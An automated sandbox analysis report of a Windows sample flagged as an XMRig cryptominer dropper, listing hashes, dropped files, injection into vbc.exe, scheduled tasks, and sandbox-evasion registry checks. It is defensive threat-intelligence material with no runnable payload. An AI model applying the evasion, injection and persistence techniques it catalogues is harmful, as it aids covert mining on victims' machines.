Resubmissions
26/11/2022, 08:19
221126-j7yhtaed66 1025/11/2022, 12:27
221125-pmxnnsbe8t 824/11/2022, 09:51
221124-lvp21seh53 1024/11/2022, 09:44
221124-lqgvvahf3x 10Analysis
-
max time kernel
956s -
max time network
960s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
24/11/2022, 09:51
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20220812-en
General
-
Target
file.exe
-
Size
1.4MB
-
MD5
073a3dc0c60492b618f888c5e603fd05
-
SHA1
4de52c57f8f032724452e901120bcf0fbee52902
-
SHA256
f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27
-
SHA512
4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f
-
SSDEEP
24576:W+wHtwQBTvwpeNrT2i8k57TujjVx3KClNyOiY:W+sBTopej8Mw3NlNF
Malware Config
Signatures
-
XMRig Miner payload 17 IoCs
resource yara_rule behavioral1/memory/4140-216-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/4140-217-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/4140-218-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/4140-219-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/4140-222-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/4140-224-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/4140-229-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1040-282-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1040-283-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1040-281-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/1040-285-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1040-289-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1040-290-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/5068-328-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/5068-329-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/5068-330-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/5068-332-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 18 IoCs
pid Process 1724 OWT.exe 1164 OWT.exe 740 SteamSetup.exe 4588 steamservice.exe 4052 steam.exe 1372 OWT.exe 3688 steam.exe 1080 steamwebhelper.exe 2604 steamwebhelper.exe 2892 steamwebhelper.exe 4540 steamwebhelper.exe 1956 gldriverquery64.exe 3260 steamwebhelper.exe 3608 gldriverquery.exe 3368 steamwebhelper.exe 4712 vulkandriverquery64.exe 2412 vulkandriverquery.exe 424 OWT.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation OWT.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation OWT.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation steamwebhelper.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation steamwebhelper.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation steamwebhelper.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation OWT.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation OWT.exe -
Loads dropped DLL 55 IoCs
pid Process 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 740 SteamSetup.exe 2248 taskmgr.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 3688 steam.exe 1080 steamwebhelper.exe 1080 steamwebhelper.exe 1080 steamwebhelper.exe 1080 steamwebhelper.exe 2604 steamwebhelper.exe 2604 steamwebhelper.exe 2604 steamwebhelper.exe 3688 steam.exe 3688 steam.exe 2892 steamwebhelper.exe 2892 steamwebhelper.exe 2892 steamwebhelper.exe 2892 steamwebhelper.exe 2892 steamwebhelper.exe 2892 steamwebhelper.exe 4540 steamwebhelper.exe 4540 steamwebhelper.exe 4540 steamwebhelper.exe 3688 steam.exe 3260 steamwebhelper.exe 3260 steamwebhelper.exe 3260 steamwebhelper.exe 3260 steamwebhelper.exe 3608 gldriverquery.exe 3368 steamwebhelper.exe 3368 steamwebhelper.exe 3368 steamwebhelper.exe 3368 steamwebhelper.exe -
Uses the VBS compiler for execution 1 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows\CurrentVersion\Run SteamSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Steam = "\"C:\\Program Files (x86)\\Steam\\steam.exe\" -silent" SteamSetup.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1164 set thread context of 4140 1164 OWT.exe 109 PID 1372 set thread context of 1040 1372 OWT.exe 172 PID 424 set thread context of 5068 424 OWT.exe 250 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_print.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\keyboards\layout_english_dualtouch.txt_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\servers\serverbrowser_english.txt_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\sd_rtrackpad_down_sm.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\sc_dpad_left_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\xbox_lb_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0190.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\friends\loop_6.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steam\cached\icon_button_forward_disabled_sm.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\controller\ghost_030_inv_0060.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\shared_mouse_mid_click.svg_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\shared_lstick_lg.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\login\user_login.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\find_icon_up.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\textentry_focus.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\shared_color_button_b_sm.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_friends.xml_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\styles\welcometosteam.css_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\styles\friends\friends_chat_dialog.css_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\sc_lb_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\ps4_trackpad_r_swipe.svg_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\ps4_trackpad_swipe_sm.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\ps_outlined_button_triangle_sm.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\icon_music_player_hover.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\click_twice.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\friends\friends_profile_details_action_button.xml_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\controller\ghost_040_act_0308.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\defaultappimage.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\sc_dpad_click_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\resource\layout\gamespage_details_gametitleheader.layout_ steam.exe File created C:\Program Files (x86)\Steam\package\strings_all.zip.vz.13a9e9217d761c7865b2995e6082727a73a64ed5_1959342 steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\controller\ghost_110_social_0020.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_080_input_0220.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\rebroadcast.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\ps_dpad_right_lg.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\ps4_trackpad_r_down_sm.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\sd_r4.svg_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\xbox_p2.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\sounds\deck_ui_switch_toggle_on.wav_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\bin\steamservice.exe_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0414.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\osx_close_def_new.tga_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\[email protected]_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\public\steambootstrapper_ukrainian.txt_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\shared_rstick_up_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steam\cached\GiftRevoked.res_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\bin\cef\cef.win7x64\api-ms-win-crt-heap-l1-1-0.dll_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\steamui\images\config1.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_streamingstarted.xml_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\clientui\localization\shared_finnish.json_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\sc_lt_soft_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\shared_gyro_pitch.svg_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_play.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\music\musicguide_icon.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\graphics\[email protected]_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_045_move_0070.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_045_move_0235.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\dark\xbox_p3_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\ps_button_circle_lg.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\light\ps_button_mute_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_2.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\sd_button_aux_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\ps4_trackpad_l_click_md.png_ steam.exe File created C:\Program Files (x86)\Steam\package\tmp\controller_base\images\api\knockout\switchpro_dpad_right.svg_ steam.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 4796 4760 WerFault.exe 92 4028 424 WerFault.exe 244 -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 msinfo32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID msinfo32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 msinfo32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID msinfo32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\CompatibleIDs msinfo32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs msinfo32.exe -
Checks processor information in registry 2 TTPs 19 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steam.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steam.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steam.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steam.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steam.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 steamwebhelper.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 820 schtasks.exe 5004 schtasks.exe 2920 schtasks.exe 816 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4840 timeout.exe -
Enumerates system info in registry 2 TTPs 10 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU msinfo32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\ECFirmwareMajorRelease msinfo32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\ECFirmwareMinorRelease msinfo32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msinfo32.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\ steamwebhelper.exe -
Modifies registry class 48 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\Shell\Open\Command steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\Shell steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\Shell\Open steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steam\DefaultIcon\ = "steam.exe" steamservice.exe Key created \REGISTRY\MACHINE\Software\Classes\steamlink steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\Shell steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\Shell\Open steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steam\Shell\Open\Command\ = "\"C:\\Program Files (x86)\\Steam\\steam.exe\" -- \"%1\"" steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\URL Protocol steamservice.exe Key created \REGISTRY\MACHINE\Software\Classes\steamlink\Shell\Open\Command steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\DefaultIcon\ = "steam.exe" steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\DefaultIcon steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\ steamwebhelper.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steam steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steam\Shell\Open\Command steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\URL Protocol steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\DefaultIcon steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\Shell\Open\Command\ = "\"C:\\Program Files (x86)\\Steam\\steam.exe\" -- \"%1\"" steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 taskmgr.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\DefaultIcon\ = "steam.exe" steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\Shell steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\URL Protocol steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings taskmgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam steamservice.exe Key created \REGISTRY\MACHINE\Software\Classes\steam\Shell\Open\Command steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\ = "URL:steamlink protocol" steamservice.exe Key created \REGISTRY\MACHINE\Software\Classes\steamlink\DefaultIcon steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 taskmgr.exe Key created \REGISTRY\MACHINE\Software\Classes\steam steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steam\URL Protocol steamservice.exe Key created \REGISTRY\MACHINE\Software\Classes\steam\DefaultIcon steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steam\Shell\Open steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\Shell\Open steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\Shell\Open\Command steamservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\Shell\Open\Command\ = "\"C:\\Program Files (x86)\\Steam\\steam.exe\" -- \"%1\"" steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU taskmgr.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 taskmgr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steam\ = "URL:steam protocol" steamservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\steam\Shell steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\Shell\Open\Command\ = "\"C:\\Program Files (x86)\\Steam\\steam.exe\" -- \"%1\"" steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steamlink\ = "URL:steamlink protocol" steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\Shell\Open\Command steamservice.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell taskmgr.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff taskmgr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\steamlink\DefaultIcon\ = "steam.exe" steamservice.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\steam\ = "URL:steam protocol" steamservice.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4736 file.exe 4736 file.exe 3716 powershell.exe 3716 powershell.exe 1724 OWT.exe 1724 OWT.exe 1544 powershell.exe 1544 powershell.exe 1724 OWT.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
pid Process 2248 taskmgr.exe 4284 msinfo32.exe 3688 steam.exe -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 37 IoCs
pid Process 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3032 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe 3452 chrome.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeDebugPrivilege 4736 file.exe Token: SeDebugPrivilege 3716 powershell.exe Token: SeDebugPrivilege 1724 OWT.exe Token: SeDebugPrivilege 1544 powershell.exe Token: SeDebugPrivilege 2248 taskmgr.exe Token: SeSystemProfilePrivilege 2248 taskmgr.exe Token: SeCreateGlobalPrivilege 2248 taskmgr.exe Token: SeDebugPrivilege 1164 OWT.exe Token: SeDebugPrivilege 3404 powershell.exe Token: SeLockMemoryPrivilege 4140 vbc.exe Token: SeLockMemoryPrivilege 4140 vbc.exe Token: SeSecurityPrivilege 4588 steamservice.exe Token: SeSecurityPrivilege 4588 steamservice.exe Token: SeDebugPrivilege 1372 OWT.exe Token: SeDebugPrivilege 4760 powershell.exe Token: SeLockMemoryPrivilege 1040 vbc.exe Token: SeLockMemoryPrivilege 1040 vbc.exe Token: 33 1984 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1984 AUDIODG.EXE Token: 33 2248 taskmgr.exe Token: SeIncBasePriorityPrivilege 2248 taskmgr.exe Token: SeDebugPrivilege 424 OWT.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeLockMemoryPrivilege 5068 vbc.exe Token: SeLockMemoryPrivilege 5068 vbc.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
